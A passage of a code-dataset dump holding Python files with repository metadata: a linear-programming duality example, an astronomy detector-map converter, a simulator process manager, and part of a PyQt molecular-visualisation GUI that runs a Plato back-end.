{"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "40832198046", "text": "#\n# Let us assume that an entrepreneur is interested in the wine making company and would like to buy its resources.\n# The entrepreneur then needs to find out how much to pay for each unit of each of the resources, the pure-grape wines\n# of 2010 A, B and C. This can be done by solving the dual version of the model that we will discuss next.\n\nfrom pyscipopt import Model\n\nmodel = Model(\"duality with wine factory example\")\ny1 = model.addVar(vtype=\"C\", name=\"y1\")\ny2 = model.addVar(vtype=\"C\", name=\"y2\")\ny3 = model.addVar(vtype=\"C\", name=\"y3\")\n\nmodel.addCons(2 * y1 + y2 >= 15)\nmodel.addCons(y1 + 2 * y2 >= 18)\nmodel.addCons(y1 + y2 + y3 >= 30)\nmodel.addCons(y1 >= 0)\nmodel.addCons(y2 >= 0)\nmodel.addCons(y3 >= 0)\nmodel.setObjective(60 * y1 + 60 * y2 + 30 * y3)\nmodel.optimize()\nif model.getStatus() == \"optimal\":\n    print(\"Optimal value: {}\".format(model.getObjVal()))\n    print(\"Solution:\")\n    print(\" x = {}\".format(model.getVal(y1)))\n    print(\" y = {}\".format(model.getVal(y2)))\n    print(\" z = {}\".format(model.getVal(y3)))\nelse:\n    print(\"Problem could not be solved to optimality\")\n", "repo_name": "jrula-lab/gas-optimization", "sub_path": "book/ch1/duality.py", "file_name": "duality.py", "file_ext": "py", "file_size_in_byte": 1093, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyscipopt.Model", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "34467873418", "text": "from lsst.utils import continueClass\nimport lsst.afw.image\nfrom lsst.geom import Box2D\n\nimport pfs.datamodel.pfsDetectorMap\n\nfrom .PolynomialDetectorMap import PolynomialDetectorMap\nfrom .DetectorMapContinued import DetectorMap\nfrom .PolynomialDistortion import PolynomialDistortion\nfrom .SplinedDetectorMapContinued import SplinedDetectorMap\nfrom .utils import headerToMetadata\n\n__all__ = (\"PolynomialDetectorMap\",)\n\n\n@continueClass  # noqa: F811 (redefinition)\nclass PolynomialDetectorMap:  # noqa: F811 (redefinition)\n    @classmethod\n    def fromDatamodel(cls, detMap):\n        \"\"\"Construct from the pfs.datamodel representation\n\n        Parameters\n        ----------\n        detMap : `pfs.datamodel.PolynomialDetectorMap`\n            datamodel representation of PolynomialDetectorMap.\n\n        Returns\n        -------\n        self : `pfs.drp.stella.PolynomialDetectorMap`\n            drp_stella representation of PolynomialDetectorMap.\n        \"\"\"\n        if not isinstance(detMap, pfs.datamodel.PolynomialDetectorMap):\n            raise RuntimeError(f\"Wrong type: {detMap}\")\n        base = SplinedDetectorMap.fromDatamodel(detMap.base)\n        distortion = PolynomialDistortion(detMap.order, Box2D(base.bbox), detMap.xCoeff, detMap.yCoeff)\n        metadata = headerToMetadata(detMap.metadata)\n        visitInfo = lsst.afw.image.VisitInfo(metadata)\n        lsst.afw.image.stripVisitInfoKeywords(metadata)\n\n        return cls(base, distortion, visitInfo, metadata)\n\n    def toDatamodel(self, identity=None):\n        \"\"\"Convert to the pfs.datamodel representation\n\n        Parameters\n        ----------\n        identity : `pfs.datamodel.CalibIdentity`, optional\n            Identification of the calibration. Providing this is only necessary\n            if you intend to write via the datamodel representation's ``write``\n            method; other means of writing that provide a filename directly do\n            not require providing an ``identity`` here.\n\n        Returns\n        -------\n        detMap : `pfs.datamodel.PolynomialDetectorMap`\n            Datamodel representation of PolynomialDetectorMap.\n        \"\"\"\n        base = self.getBase().toDatamodel()\n        distortion = self.getDistortion()\n\n        metadata = self.metadata.deepCopy()\n        if self.visitInfo is not None:\n            lsst.afw.image.setVisitInfoMetadata(metadata, self.visitInfo)\n\n        return pfs.datamodel.PolynomialDetectorMap(\n            identity, pfs.datamodel.Box.fromLsst(self.bbox), base,\n            distortion.getOrder(), distortion.getXCoefficients(), distortion.getYCoefficients(),\n            metadata.toDict()\n        )\n\n\nDetectorMap.register(PolynomialDetectorMap)\n", "repo_name": "Subaru-PFS/drp_stella", "sub_path": "python/pfs/drp/stella/PolynomialDetectorMapContinued.py", "file_name": "PolynomialDetectorMapContinued.py", "file_ext": "py", "file_size_in_byte": 2670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pfs.datamodel.pfsDetectorMap.datamodel", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pfs.datamodel.pfsDetectorMap", "line_number": 32, "usage_type": "name"}, {"api_name": "SplinedDetectorMapContinued.SplinedDetectorMap.fromDatamodel", "line_number": 34, "usage_type": "call"}, {"api_name": "SplinedDetectorMapContinued.SplinedDetectorMap", "line_number": 34, "usage_type": "name"}, {"api_name": "PolynomialDistortion.PolynomialDistortion", "line_number": 35, "usage_type": "call"}, {"api_name": "lsst.geom.Box2D", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.headerToMetadata", "line_number": 36, "usage_type": "call"}, {"api_name": "lsst.utils.afw.image.VisitInfo", "line_number": 37, "usage_type": "call"}, {"api_name": "lsst.utils.afw", "line_number": 37, "usage_type": "attribute"}, {"api_name": "lsst.utils", "line_number": 37, "usage_type": "name"}, {"api_name": "lsst.utils.afw.image.stripVisitInfoKeywords", "line_number": 38, "usage_type": "call"}, {"api_name": "lsst.utils.afw", "line_number": 38, "usage_type": "attribute"}, {"api_name": "lsst.utils", "line_number": 38, "usage_type": "name"}, {"api_name": "lsst.utils.afw.image.setVisitInfoMetadata", "line_number": 63, "usage_type": "call"}, {"api_name": "lsst.utils.afw", "line_number": 63, "usage_type": "attribute"}, {"api_name": "lsst.utils", "line_number": 63, "usage_type": "name"}, {"api_name": "pfs.datamodel.pfsDetectorMap.datamodel.PolynomialDetectorMap", "line_number": 65, "usage_type": "call"}, {"api_name": "pfs.datamodel.pfsDetectorMap.datamodel", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pfs.datamodel.pfsDetectorMap", "line_number": 65, "usage_type": "name"}, {"api_name": "pfs.datamodel.pfsDetectorMap.datamodel.Box.fromLsst", "line_number": 66, "usage_type": "call"}, {"api_name": "pfs.datamodel.pfsDetectorMap.datamodel", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pfs.datamodel.pfsDetectorMap", "line_number": 66, "usage_type": "name"}, {"api_name": "lsst.utils.continueClass", "line_number": 16, "usage_type": "name"}, {"api_name": "DetectorMapContinued.DetectorMap.register", "line_number": 72, "usage_type": "call"}, {"api_name": "DetectorMapContinued.DetectorMap", "line_number": 72, "usage_type": "name"}]}
{"seq_id": "11665025868", "text": "import os\nimport subprocess\nimport uuid\n\nclass SimulatorInstanceManager(object):\n    \"\"\"\n    Manages the running instance of the simulator\n    \"\"\"\n    def __init__(self, simulator_path, simulator_log_path, delete_log_on_success):\n        self.simulator_path = simulator_path\n        self.simulator_log_path = simulator_log_path\n        self.delete_log_on_success = delete_log_on_success\n        self.simulation_execution_id = str(uuid.uuid4())\n        \n        self.simulator_exe_name = self.simulator_path.split('/')[-1]\n\n        self.__kill_simulator_process(force=True)\n        \n        self.__simulator_popen_obj = self.__start_simulator()\n    \n    def get_simulator_pid(self):\n        \"\"\"\n        NOTE: For some reason, 2 simulator processes seem to spawn...\n              Not sure which PID gets returned.\n              Or why there are two.\n        \"\"\"\n        if self.__simulator_popen_obj is not None:\n            return self.__simulator_popen_obj.pid\n        return None\n\n    def get_log_path(self):\n        return os.path.join(self.simulator_log_path, '{0}.log'.format(self.simulation_execution_id)).replace('\\\\', '/')\n\n    def is_simulation_alive(self):\n        if (self.__simulator_popen_obj is None):\n            return False\n        return (self.__simulator_popen_obj.poll() == None)\n\n    def finalize(self):\n        if (self.__simulator_popen_obj is not None):\n            self.__kill_simulator_process()\n            self.__simulator_popen_obj = None\n\n    def __start_simulator(self):\n        args = [self.simulator_path, 'ABSLOG={0}'.format(self.get_log_path())]\n        return subprocess.Popen(args)\n\n    def __kill_simulator_process(self, force = False):\n        if (not force and self.__simulator_popen_obj is None):\n            return\n\n        is_termination_graceful = False\n        if (not force):\n            is_termination_graceful = self.is_simulation_alive()\n        \n        # This doesn't seem to work.\n        # self.__simulator_popen_obj.kill()\n\n        # Time to use a bigger hammer\n        args = ['taskkill', '/FI', 'IMAGENAME eq {0}'.format(self.simulator_exe_name), '/f']\n        subprocess.call(args)\n\n        if (is_termination_graceful and self.delete_log_on_success and os.path.exists(self.get_log_path())):\n            os.remove(self.get_log_path())\n\n        self.__simulator_popen_obj = None\n", "repo_name": "mitchellspryn/magellan-core", "sub_path": "simulation/server/simulator_instance_manager.py", "file_name": "simulator_instance_manager.py", "file_ext": "py", "file_size_in_byte": 2334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "uuid.uuid4", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 46, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "74277964411", "text": "from PyQt5 import QtWidgets, uic\r\nfrom PyQt5.QtGui import QIcon\r\nfrom PyQt5.QtWidgets import QApplication\r\nfrom glview import *\r\nfrom glview3D import *\r\nfrom plot import *\r\nfrom input import *\r\nfrom subprocess import PIPE, Popen\r\nimport math\r\nimport os\r\nimport numpy as np\r\nimport sys\r\nimport pyautogui\r\nimport traceback\r\nimport secrets\r\n\r\nnp.seterr(divide='ignore', invalid='ignore')\r\nresolution = pyautogui.size()\r\nos.environ[\"QT_AUTO_SCREEN_SCALE_FACTOR\"] = \"1\"\r\napp = QtWidgets.QApplication(sys.argv)\r\n\r\ndefault_input = input_file_setup(\"config/benzene.out\", \"config/attributes.txt\", \"config/benzene.wf\")\r\n\r\n\r\nclass MainWindow(QtWidgets.QMainWindow):\r\n\r\n    def __init__(self, screen_width, atoms=None):\r\n        super(MainWindow, self).__init__()\r\n\r\n        # Load the UI Page\r\n        uic.loadUi(\"config/mainwindow5.ui\", self)\r\n        self.setWindowTitle(\"Platomic\")\r\n        self.setWindowIcon(QIcon(\"config/platomic.png\"))\r\n        self.multiplier = int(screen_width / 1920)\r\n\r\n        # Initialise state\r\n        self.atoms = atoms\r\n        self.csvFilename = None\r\n        self.inputFilename = None\r\n        self.transInputFilename = None\r\n        self.currInputFilename = None\r\n        self.transSelected = {\"1\": [], \"2\": [], \"3\": [], \"4\": [], \"5\": []}\r\n        self.currentSelectedA = []\r\n        self.currentSelectedB = []\r\n        self.mode = 0\r\n        self.id = secrets.token_hex(3)\r\n\r\n        # Initialise propertiesWindow\r\n        # setupSettingsTab\r\n        # executeButton\r\n        self.executeButton.clicked.connect(self.onExecuteButtonClicked)\r\n\r\n        # executeTransButton\r\n        self.executeTransButton.clicked.connect(self.onTransExecuteButtonClicked)\r\n\r\n        # executeCurrButton and executeCurrGraphButton\r\n        self.executeCurrButton.clicked.connect(self.onExecuteCurrButtonClicked)\r\n        self.executeCurrGraphButton.clicked.connect(self.onExecuteCurrGraphButtonClicked)\r\n        self.execute3DGraphButton.clicked.connect(self.onExecute3DGraphButtonClicked)\r\n\r\n        # executeLoadedButton and transExecuteLoadedButton\r\n        self.executeLoadedButton.clicked.connect(self.onExecuteLoadedButtonClicked)\r\n        self.transExecuteLoadedButton.clicked.connect(self.onTransExecuteLoadedButtonClicked)\r\n        self.currExecuteLoadedButton.clicked.connect(self.onCurrExecuteLoadedButtonClicked)\r\n        self.gammaExecuteLoadedButton.clicked.connect(self.onGammaExecuteLoadedButtonClicked)\r\n\r\n        # generateInputFileButton\r\n        self.generateInputFileButton.clicked.connect(self.onGenerateInputFileButtonClicked)\r\n\r\n        # generateTransInputFileButton\r\n        self.generateTransInputFileButton.clicked.connect(self.onGenerateTransInputFileButtonClicked)\r\n\r\n        # generateCurrInputFileButton\r\n        self.generateCurrInputFileButton.clicked.connect(self.onGenerateCurrInputFileButtonClicked)\r\n\r\n        # openFileLineEdit\r\n        # openFileButton\r\n        self.openFileButton.clicked.connect(self.onOpenFileButtonClicked)\r\n        self.openOutFileButton.clicked.connect(self.onOpenOutFileButtonClicked)\r\n        self.openOutFileButton2.clicked.connect(self.onOpenOutFileButtonClicked2)\r\n        self.openWfFileButton.clicked.connect(self.onOpenWfFileButtonClicked)\r\n        self.openCsvFileButton.clicked.connect(self.onOpenCsvFileButtonClicked)\r\n        self.openDirButton.clicked.connect(self.onOpenDirButtonClicked)\r\n        self.openDirGammaButton.clicked.connect(self.onOpenDirGammaButtonClicked)\r\n        self.gammaLineEdit.editingFinished.connect(self.onGammaLineEditChanged)\r\n        self.gammaLineEdit2.editingFinished.connect(self.onGammaLineEditChanged2)\r\n        self.gammaStartLineEdit.editingFinished.connect(self.onGammaStartLineEditChanged)\r\n        self.gammaEndLineEdit.editingFinished.connect(self.onGammaEndLineEditChanged)\r\n        self.gammaStepsLineEdit.editingFinished.connect(self.onGammaStepsLineEditChanged)\r\n        self.excessLineEdit.editingFinished.connect(self.onExcessLineEditChanged)\r\n        self.referenceLineEdit.editingFinished.connect(self.onReferenceLineEditChanged)\r\n        self.biasLineEdit.editingFinished.connect(self.onBiasLineEditChanged)\r\n        self.stepsLineEdit.editingFinished.connect(self.onStepsLineEditChanged)\r\n        self.offsetLineEdit.editingFinished.connect(self.onOffsetLineEditChanged)\r\n\r\n        # switchToInputFileTabButton\r\n        self.switchToInputFileTabButton.clicked.connect(self.onSwitchToInputFileTabButtonClicked)\r\n\r\n        # checkBoxIndex\r\n        # checkBoxSymbol\r\n        # checkBoxPosition\r\n        # checkBoxRadius\r\n        # fontComboBox\r\n        # sizeComboBox\r\n        # offsetComboBox\r\n        # colourComboBox\r\n        self.checkBoxIndex.stateChanged.connect(self.setCheckBoxIndex)\r\n        self.checkBoxSymbol.stateChanged.connect(self.setCheckBoxSymbol)\r\n        self.checkBoxPosition.stateChanged.connect(self.setCheckBoxPosition)\r\n        self.checkBoxRadius.stateChanged.connect(self.setCheckBoxRadius)\r\n\r\n        self.fontComboBox.currentIndexChanged.connect(self.setFontComboBox)\r\n        self.sizeComboBox.currentIndexChanged.connect(self.setSizeComboBox)\r\n        self.offsetComboBox.currentIndexChanged.connect(self.setOffsetComboBox)\r\n        self.colourComboBox.currentIndexChanged.connect(self.setColourComboBox)\r\n\r\n        self.fontComboBox.addItems([\"Arial\", \"Cambria\", \"Helvetica\", \"Times New Roman\"])\r\n        self.sizeComboBox.addItems([\"14\", \"16\", \"18\", \"20\", \"24\", \"30\", \"42\"])\r\n        self.offsetComboBox.addItems([\"X\", \"Y\", \"Z\"])\r\n        self.colourComboBox.addItems([\"Orange\", \"Red\", \"Lime\", \"Blue\", \"Purple\", \"Yellow\"])\r\n        self.openGLWidget.font = \"Arial\"\r\n        self.openGLWidget.size = 14\r\n        self.openGLWidget.offset = 0\r\n        self.openGLWidget.colour = \"Orange\"\r\n\r\n        # graphSettingsTab and terminalComboBox\r\n        self.graphComboBox.currentIndexChanged.connect(self.setGraphComboBox)\r\n        self.terminalComboBox.currentIndexChanged.connect(self.setTerminalComboBox)\r\n        self.terminalComboBox.addItems([\"Terminal 1\", \"Terminal 2\", \"Terminal 3\", \"Terminal 4\", \"Terminal 5\"])\r\n        self.graphKeys = None\r\n        self.offset = 0\r\n\r\n        # atomSettingsTab\r\n        # atomColSlider\r\n        self.atomCol = self.atomColSlider.value()\r\n        # atomColSliderLabel\r\n        self.atomColSlider.sliderReleased.connect(self.setAtomColSliderLabel)\r\n        self.atomColSlider.valueChanged.connect(self.updateAtomColSliderLabel)\r\n\r\n        # atomRowSlider\r\n        self.atomRow = self.atomRowSlider.value()\r\n        # atomRowSliderLabel\r\n        self.atomRowSlider.sliderReleased.connect(self.setAtomRowSliderLabel)\r\n        self.atomRowSlider.valueChanged.connect(self.updateAtomRowSliderLabel)\r\n\r\n        # bondColSlider\r\n        self.bondCol = self.bondColSlider.value()\r\n        # bondColSliderLabel\r\n        self.bondColSlider.sliderReleased.connect(self.setBondColSliderLabel)\r\n        self.bondColSlider.valueChanged.connect(self.updateBondColSliderLabel)\r\n\r\n        # bondRowSlider\r\n        self.bondRow = self.bondRowSlider.value()\r\n        # bondRowSliderLabel\r\n        self.bondRowSlider.sliderReleased.connect(self.setBondRowSliderLabel)\r\n        self.bondRowSlider.valueChanged.connect(self.updateBondRowSliderLabel)\r\n\r\n        # brightnessSlider\r\n        # brightnessSliderLabel\r\n        self.brightnessSlider.sliderReleased.connect(self.setBrightnessSliderLabel)\r\n        self.brightnessSlider.valueChanged.connect(self.updateBrightnessSliderLabel)\r\n\r\n        # bondRadiusSlider\r\n        self.bondRadius = 0.15\r\n        # bondRadiusSliderLabel\r\n        self.bondRadiusSlider.sliderReleased.connect(self.setBondRadiusSliderLabel)\r\n        self.bondRadiusSlider.valueChanged.connect(self.updateBondRadiusSliderLabel)\r\n\r\n        # bondThresholdSlider\r\n        self.bondThreshold = 5.0\r\n        # bondThersholdSliderlabel\r\n        self.bondThresholdSlider.sliderReleased.connect(self.setBondThresholdSliderLabel)\r\n        self.bondThresholdSlider.valueChanged.connect(self.updateBondThresholdSliderLabel)\r\n\r\n        # switchToAttrFileTabButton\r\n        self.switchToAttrFileTabButton.clicked.connect(self.onSwitchToAttrFileTabButtonClicked)\r\n\r\n        # orbitalSettingsTab\r\n        # advOrbWfCheckBox\r\n        self.advOrbWfCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # advOrbHorzCheckBox\r\n        self.advOrbHorzCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # advOrbVertCheckBox\r\n        self.advOrbVertCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # sphOrbWfCheckBox\r\n        self.sphOrbWfCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # sphOrbFacesCheckBox\r\n        self.sphOrbFacesCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # advOrbFacesCheckBox\r\n        self.advOrbFacesCheckBox.stateChanged.connect(self.draw)\r\n\r\n        # orbColSlider\r\n        self.orbCol = self.orbColSlider.value()\r\n        # orbColSliderLabel\r\n        self.orbColSlider.sliderReleased.connect(self.setOrbColSliderLabel)\r\n        self.orbColSlider.valueChanged.connect(self.updateOrbColSliderLabel)\r\n\r\n        # orbRowSlider\r\n        self.orbRow = self.orbRowSlider.value()\r\n        # orbRowSliderLabel\r\n        self.orbRowSlider.sliderReleased.connect(self.setOrbRowSliderLabel)\r\n        self.orbRowSlider.valueChanged.connect(self.updateOrbRowSliderLabel)\r\n\r\n        # orbScalerSlider\r\n        self.orbScaler = self.orbScalerSlider.value()\r\n        # orbScalerSliderLabel\r\n        self.orbScalerSlider.sliderReleased.connect(self.setScalerSliderLabel)\r\n        self.orbScalerSlider.valueChanged.connect(self.updateScalerSliderLabel)\r\n\r\n        # thetaSlider\r\n        self.theta = self.thetaSlider.value()\r\n        # thetaSliderLabel\r\n        self.thetaSlider.sliderReleased.connect(self.setThetaSliderLabel)\r\n        self.thetaSlider.valueChanged.connect(self.updateThetaSliderLabel)\r\n\r\n        # phiSlider\r\n        self.phi = math.radians(self.phiSlider.value())\r\n        # phiSliderLabel\r\n        self.phiSlider.sliderReleased.connect(self.setPhiSliderLabel)\r\n        self.phiSlider.valueChanged.connect(self.updatePhiSliderLabel)\r\n\r\n        # colourXSlider\r\n        self.R = 1.00\r\n        self.G = 0.00\r\n        self.B = 1.00\r\n        self.A = 0.50\r\n        self.colourRSlider.sliderReleased.connect(self.setColourRSliderLabel)\r\n        self.colourGSlider.sliderReleased.connect(self.setColourGSliderLabel)\r\n        self.colourBSlider.sliderReleased.connect(self.setColourBSliderLabel)\r\n        self.colourASlider.sliderReleased.connect(self.setColourASliderLabel)\r\n        self.colourRSlider.valueChanged.connect(self.updateColourRSliderLabel)\r\n        self.colourGSlider.valueChanged.connect(self.updateColourGSliderLabel)\r\n        self.colourBSlider.valueChanged.connect(self.updateColourBSliderLabel)\r\n        self.colourASlider.valueChanged.connect(self.updateColourASliderLabel)\r\n\r\n        # Initialise mainWindow\r\n\r\n        # mainDisplayTab\r\n        # horizontalSlider\r\n        # horizontalSliderLabel\r\n        self.horizontalSlider.sliderReleased.connect(self.setHorizontalSliderLabel)\r\n        self.horizontalSlider.valueChanged.connect(self.updateHorizontalSliderLabel)\r\n\r\n        # openGLWidget and gammaGLWidget\r\n        self.openGLWidget.opts['distance'] = 15\r\n        self.gammaGLWidget.opts['distance'] = 5\r\n        self.openGLWidget.multiplier = self.multiplier\r\n        self.gammaGLWidget.multiplier = self.multiplier\r\n        if self.atoms is None:\r\n            self.openGLWidget.atoms = [\r\n                Atom(\"0\", 0, -9, 0,\r\n                     \"Welcome to Platomic. To get started, import an .xyz file in the 'Setup' tab.\"),\r\n                Atom(\"0\", 0, -9.25, -1, \"Hover over any (?) icons for help and / or additional information.\"),\r\n                Atom(\"0\", 0, -9.5, -2, \"For a full in-depth tutorial check out the User Guide in the doc/ directory.\")]\r\n        else:\r\n            self.openGLWidget.atoms = self.atoms\r\n            self.draw()\r\n        self.backgroundColor = (40, 40, 40)\r\n        self.openGLWidget.setBackgroundColor(self.backgroundColor)\r\n        self.openGLWidget.left_clicked.connect(self.onTransSelection)\r\n        self.openGLWidget.right_clicked.connect(self.onCurrentSelectionA)\r\n        self.openGLWidget.middle_clicked.connect(self.onCurrentSelectionB)\r\n\r\n        # resetViewButton\r\n        self.resetViewButton.clicked.connect(self.onResetViewButtonClicked)\r\n\r\n        # saveImageButton, save3DImageButton\r\n        self.saveImageButton.clicked.connect(self.onSaveImageButtonClicked)\r\n        self.save3DImageButton.clicked.connect(self.onSave3DImageButtonClicked)\r\n\r\n        # toggleAtomsButton\r\n        self.toggleAtomsButton.clicked.connect(self.onToggleAtomsButtonClicked)\r\n\r\n        # inputFileTab\r\n        # inputTextEdit\r\n        # saveInputFileButton\r\n        self.saveInputFileButton.clicked.connect(self.onSaveInputFileButtonClicked)\r\n\r\n        # AttributeFileTab\r\n        # attributeTextEdit\r\n        with open(\"config/attributes.txt\", \"r\") as f:\r\n            contents = f.readlines()\r\n        for line, content in enumerate(contents):\r\n            self.attributeTextEdit.insertPlainText(content)\r\n\r\n        # saveAttributeFileButton\r\n        self.saveAttributeFileButton.clicked.connect(self.onSaveAttributeFileButtonClicked)\r\n\r\n        # fullConsoleTab\r\n        # fullConsoleTextEdit\r\n\r\n    # Initialise functions\r\n    # Initialise propertiesWindow\r\n    # setupSettingsTab\r\n    # executeButton\r\n\r\n    def execute(self, verbose=True):\r\n        if os.name == 'nt':\r\n            self.writeErrorToLogs(\"Plato back-end execution is not supported on Windows systems.\")\r\n            return False\r\n        try:\r\n            command = \"(cd ./Plato/bin && ./tb1 ../../\" + self.inputFilename + \")\"\r\n        except TypeError:\r\n            self.writeErrorToLogs(\"No Plato input file found, click generate before clicking execute.\")\r\n            return False\r\n        result = Popen(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True, encoding='utf-8',\r\n                       errors='replace')\r\n        while True:\r\n            output = result.stdout.readline()\r\n            if output == \"\" and result.poll() is not None:\r\n                break\r\n            if output:\r\n                self.writeToLogs(output.strip(), \"black\")\r\n                QApplication.processEvents()\r\n        if result.returncode and verbose:\r\n            return False\r\n        return True\r\n\r\n    def onExecuteButtonClicked(self):\r\n        self.writeToLogs(\"Starting execution.\", \"green\")\r\n        QApplication.processEvents()\r\n        if not self.execute():\r\n            return\r\n        self.atoms = input_file_setup(self.inputFilename + \".out\", \"config/attributes.txt\", self.inputFilename + \".wf\")\r\n        self.horizontalSlider.setMinimum(0)\r\n        self.horizontalSlider.setMaximum(self.atoms[0].get_total_orbitals() - 1)\r\n        self.openGLWidget.atoms = self.atoms\r\n        self.draw()\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.mainDisplayTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.displaySettingsTab))\r\n        self.writeToLogs(\"Execution carried out successfully.\\n\", \"green\")\r\n        self.transSelected = {\"1\": [], \"2\": [], \"3\": [], \"4\": [], \"5\": []}\r\n        self.currentSelectedA = []\r\n        self.currentSelectedB = []\r\n        self.executeButton.setEnabled(False)\r\n        self.id = secrets.token_hex(3)\r\n\r\n    def onTransExecuteButtonClicked(self):\r\n        self.writeToLogs(\"Starting transmission execution.\", \"green\")\r\n        QApplication.processEvents()\r\n        if not self.execute():\r\n            return\r\n        self.writeToLogs(\"Execution carried out successfully.\", \"green\")\r\n        self.csvFilename = self.inputFilename + \"_trans.csv\"\r\n        headers_mapped, headers = transmission_headers(self.csvFilename, self.transSelected)\r\n        self.offset = find_chemical_potential(self.inputFilename + \".out\")\r\n        self.offsetLineEdit.setText(str(self.offset))\r\n        self.graphKeys = headers\r\n        self.graphComboBox.clear()\r\n        self.graphComboBox.addItems(headers_mapped)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.graphTab))\r\n        self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.graphSettingsTab))\r\n        self.writeToLogs(\"Graph offset set to \" + str(self.offset) + \".\", \"green\")\r\n        self.writeToLogs(\"Graphs plotted successfully.\\n\", \"green\")\r\n        self.executeTransButton.setEnabled(False)\r\n        self.id = secrets.token_hex(3)\r\n\r\n    def onExecuteCurrButtonClicked(self, boolean, verbose=True):\r\n        self.writeToLogs(\"Starting current execution.\", \"green\")\r\n        QApplication.processEvents()\r\n        if not self.execute(verbose):\r\n            return\r\n        current = find_current_in_file(self.inputFilename + \".out\")\r\n        if verbose:\r\n            self.writeToLogs(\"Execution carried out successfully.\", \"green\")\r\n            self.writeToLogs(\"Current: \" + current + \" mA.\\n\", \"green\")\r\n        self.executeCurrButton.setEnabled(False)\r\n        self.id = secrets.token_hex(3)\r\n        return float(current)\r\n\r\n    def onExecuteCurrGraphButtonClicked(self):\r\n        self.writeToLogs(\"Starting current graph execution.\", \"green\")\r\n        try:\r\n            steps = int(self.stepsLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for steps.\")\r\n            return\r\n        try:\r\n            bias = float(self.biasLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for maximum bias.\")\r\n            return\r\n\r\n        occupied_keys = return_occupied_keys(self.transSelected)\r\n        if not occupied_keys == 2:\r\n            self.writeErrorToLogs(\r\n                \"Error: Incorrect number of terminals selected, may only calculate current between two terminals.\")\r\n            return\r\n        if len(self.currentSelectedA) <= 0:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient atoms for region A (min. one required). Select atoms for A by right clicking.\")\r\n            return\r\n        if len(self.currentSelectedB) <= 0:\r\n            self.writeErrorToLogs(\r\n                \"Error: Insufficient atoms for region B (min. one required). Select atoms for B by middle clicking.\")\r\n            return\r\n        currents = []\r\n        biases = np.linspace(0, bias, steps)\r\n        self.writeToLogs(\"Starting \" + str(steps) + \" current calculations.\", \"green\")\r\n        self.id = secrets.token_hex(3)\r\n        ind = 1\r\n        for i in biases:\r\n            bias_i = round(i, 4)\r\n            if not self.onGenerateCurrInputFileButtonClicked(False, False, bias=bias_i):\r\n                return\r\n            currents.append(self.onExecuteCurrButtonClicked(False, False))\r\n            self.writeToLogs(str(ind) + \"/\" + str(steps) + \" transmission calculation completed.\", \"green\")\r\n            QApplication.processEvents()\r\n            ind += 1\r\n        self.writeToLogs(\"All current calculations completed successfully.\", \"green\")\r\n        current_graph(self.graphWidget2, biases, np.array(currents) / 1000)\r\n        self.mainWindow.setCurrentIndex(self.mainWindow.indexOf(self.graphTab2))\r\n        # self.propertiesWindow.setCurrentIndex(self.propertiesWindow.indexOf(self.graphSettingsTab))\r\n        self.writeToLogs(\"Current vs. bias graph plotted successfully.\\n\", \"green\")\r\n\r\n    def onExecute3DGraphButtonClicked(self):\r\n        self.writeToLogs(\"Starting 3D transmission graph execution.\", \"green\")\r\n        self.gammaGLWidget.clear()\r\n        occupied_keys = return_occupied_keys(self.transSelected)\r\n        if not occupied_keys == 2:\r\n            self.writeErrorToLogs(\r\n                \"Error: Incorrect number of terminals selected, may only plot 3D graph between two terminals.\")\r\n            return\r\n        try:\r\n            gamma_start = float(self.gammaStartLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for gamma minimum.\")\r\n            return\r\n        try:\r\n            gamma_end = float(self.gammaEndLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for gamma maximum.\")\r\n            return\r\n        try:\r\n            gamma_steps = int(self.gammaStepsLineEdit.text())\r\n        except ValueError:\r\n            self.writeErrorToLogs(\"Error: Missing input for gamma steps.\")\r\n            return\r\n        interval = (gamma_end - gamma_start) / gamma_steps\r\n        if interval <= 0:\r\n            self.writeErrorToLogs(\r\n                \"Error: Difference between Gamma minimum and maximum must be positive and greater than 0.\")\r\n            return\r\n        self.writeToLogs(\"Starting \" + str(gamma_steps) + \" transmission calculations.\", \"green\")\r\n        self.id = secrets.token_hex(3)\r\n        i = 1\r\n        for gamma in np.linspace(gamma_start, gamma_end, gamma_steps):\r\n            if not self.onGenerateTransInputFileButtonClicked(verbose=False, gamma=round(gamma, 5), step_size=interval):\r\n                return\r\n            self.execute(verbose=False)\r\n            self.writeToLogs(str(i) + \"/\" + str(gamma_steps) + \" transmission calculation completed.\", 